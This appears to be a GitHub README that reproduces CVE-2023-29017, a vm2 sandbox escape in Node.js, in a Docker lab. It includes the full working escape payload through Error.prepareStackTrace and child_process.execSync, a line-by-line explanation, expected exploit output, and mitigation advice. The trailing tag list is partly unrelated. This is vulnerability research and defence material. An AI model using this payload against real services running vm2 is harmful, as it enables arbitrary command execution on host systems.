gunwoo105/Node_CVE-2023-29017
GitHub: gunwoo105/Node_CVE-2023-29017
该项目使用 Docker Compose 和自动化 PoC 脚本复现 Node.js vm2 CVE-2023-29017 沙盒逃逸漏洞,演示从沙盒内逃逸并执行宿主系统命令的完整过程。
Stars: 0 | Forks: 0
# CVE-2023-29017 | 通过 vm2 Sandbox Escape 实现远程代码执行
## 漏洞概述
vm2 是一个 Node.js 沙盒库,用于在受限环境中执行不受信任的 JavaScript。正常情况下,沙盒内部的代码不应访问 Node.js 的 `process, require, child_process` 以及宿主文件系统等敏感功能。
然而,在 vm2 3.9.14 及以下版本中,当发生未处理的异步错误时,未能安全处理传递给 Error.prepareStackTrace 的宿主对象。攻击者可以利用该对象的构造函数链获取宿主上下文中的 Function 构造函数和 `process` 对象,最终通过 `child_process` 执行操作系统命令。
## 环境配置
### 组件
| 组件 | 版本与配置 |
| --- | --- |
| Node.js | `18.15.0` |
| vm2 | `3.9.14` |
| 补丁版本 | `3.9.15` |
| 运行环境 | Docker Compose |
| 容器用户 | `node` |
| 服务端口 | `127.0.0.1:3000` |
| 包安装 | `npm ci` + `package-lock.json` |
本环境不使用现成的易受攻击镜像,而是使用官方 Node.js 基础镜像和仓库中包含的源代码进行构建。Dockerfile 会检查 Node.js 和 vm2 的版本,如果版本与预期不符,构建将会失败。
```
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
```
| 文件 | 作用 |
| --- | --- |
| `docker-compose.yml` | 配置易受攻击的服务和 PoC 容器并定义执行顺序 |
| `Dockerfile` | 使用 multi-stage 方式构建易受攻击的服务和 PoC 镜像 |
| `vulnerable/src/server.js` | 提供 `/health`, `/execute`, `/evidence` endpoint |
| `vulnerable/src/worker.js` | 在独立进程的 vm2 中执行用户输入 |
| `poc/poc.js` | 自动化版本检查、正常对照组测试、攻击及证据验证 |
| `vulnerable/package-lock.json` | 固定包含传递依赖在内的包版本 |
之所以将 `worker.js` 放在单独的进程中运行,是因为 PoC 会触发未处理的异步错误。即使 worker 在攻击过程中终止,Web 服务器仍会继续运行,从而可以通过 marker 文件稳定地验证攻击是否成功。
## 漏洞触发条件
必须满足以下所有条件:
1. 应用程序使用 `vm2 3.9.14` 或更低版本。
2. 攻击者能够控制要执行的 JavaScript 输入。
3. 该 JavaScript 在 vm2 内部执行。
4. 允许异步 JavaScript 执行。
5. 未处理的异步错误到达了存在漏洞的堆栈跟踪处理路径。
6. 运行 vm2 的 Node.js 进程具有执行操作系统命令或访问文件的权限。
并非所有安装了 vm2 的服务都会自动暴露在远程攻击之下。必须存在允许攻击者控制的代码在 vm2 中执行的功能。本实验中的 `/execute` endpoint 就是对该用例的最小化实现。
攻击流程如下:
```
악성 JavaScript 전달
│
▼
처리되지 않은 비동기 오류 발생
│
▼
Error.prepareStackTrace 호출
│
▼
호스트 frames 객체 노출
│
▼
호스트 Function 생성자 획득
│
▼
process → require → child_process
│
▼
컨테이너 내부 OS 명령 실행
```
## 复现步骤
### 构建镜像
```
docker compose build --no-cache
```

### 启动易受攻击的服务
```
docker compose up -d vulnerable
```
检查容器状态。
```
docker compose ps
```
### 检查服务状态与版本
```
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
```

### 执行 PoC
```
docker compose run --rm poc
echo "exit_code=$?"
```
PoC 会自动验证以下内容:
1. 易受攻击服务的 healthcheck
2. Node.js 和 vm2 版本
3. 正常执行 JavaScript 21 * 2
4. 确认正常代码不会生成 marker 文件
5. 发送 CVE-2023-29017 payload
6. 检查是否创建了 `/tmp/vm2-pwned`
7. 确认文件内容中包含 `uid=`
8. 成功时返回退出代码 0,失败时返回退出代码 1
如果要一键执行从构建到运行 PoC 的全过程,请使用以下命令。
```
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
```
### 检查证据文件
```
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
```
### 停止环境
```
docker compose down -v --rmi local --remove-orphans
```
## 5. PoC 代码
完整的 PoC 包含在 `poc/poc.js` 中。核心 payload 如下:
```
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
```
### 代码执行原理
#### 重写 `Error.prepareStackTrace`
```
Error.prepareStackTrace = (error, frames) => {
```
攻击者重写错误堆栈跟踪生成时执行的函数。
#### 获取宿主 `Function` 构造函数
```
frames.constructor.constructor
```
沿着存在漏洞的 vm2 暴露的宿主 `frames` 对象的构造函数链,获取宿主上下文中的 `Function` 构造函数。
#### 获取宿主 `process` 对象
```
frames.constructor.constructor('return process')();
```
在宿主上下文中创建并执行一个返回 `process` 的函数。
#### 执行操作系统命令
```
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
```
加载未在沙盒内提供的 `child_process` 以执行 Linux `id` 命令。
#### 触发未处理的异步错误
```
(async () => {}).constructor('return process')();
```
通过让异步函数引用沙盒中无法使用的 `process` 来创建 rejected Promise,使其到达存在漏洞的堆栈跟踪处理路径。
## 执行结果
### 正常对照组
正常的 JavaScript 会在 vm2 内部执行并返回 42,但不会生成执行操作系统命令的证据。
```
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
```
### 漏洞利用
发送恶意 payload 后,将逃逸出 vm2 沙盒,并以存在漏洞的 Node.js 进程权限在容器内部执行 `id` 命令。
```
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
```
PoC 会再次检查保存的证据,随后返回成功状态。
```
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0
```

如果直接检查证据文件,将输出以下结果。

marker 文件会在每次执行前删除,并且在正常代码执行阶段不会生成。因此,可以防止因残留之前执行结果而导致的误报。
## 缓解措施
### 更新 vm2
将其更新为不受影响的版本。
```
{
"dependencies": {
"vm2": "3.9.15"
}
}
```
随后更新 lockfile,并使用固定的依赖进行安装。
```
npm install --package-lock-only
npm ci
```
官方 Advisory 说明没有单独的临时解决方案,因此不建议继续使用受影响的版本。
### 隔离不受信任代码的执行环境
不要在与应用程序相同的 Node.js 进程中执行不受信任的代码。应通过独立进程、容器或虚拟机进行隔离,并在执行完毕后销毁环境。
### 应用最小权限原则
- 使用非 root 的专用用户运行
- 应用 `no-new-privileges`
- 移除不必要的 Linux capability
- 禁止挂载 Docker socket 和宿主目录
- 审查并配置只读文件系统
- 禁止在容器内部存储长期有效的凭证
### 网络与资源限制
- 限制执行容器的对外网络访问
- 尽量减少对内部管理网和数据库的访问
- 限制 CPU、内存、进程数和执行时间
- 限制输入大小和请求频率
- 监控异常终止和重复的恶意输入
### 身份验证与输入控制
对代码执行功能应用强身份验证和授权,不要向不明用户提供公开的任意代码执行 API。然而,身份验证仅仅是减小攻击面的辅助措施,并不能替代对漏洞本身的修复。
标签:Docker, GNU通用公共许可证, Go语言工具, MITM代理, Node.js, PoC, vm2, 安全防御评估, 数据可视化, 暴力破解, 沙箱逃逸, 漏洞复现, 版权保护, 自定义脚本, 请求拦截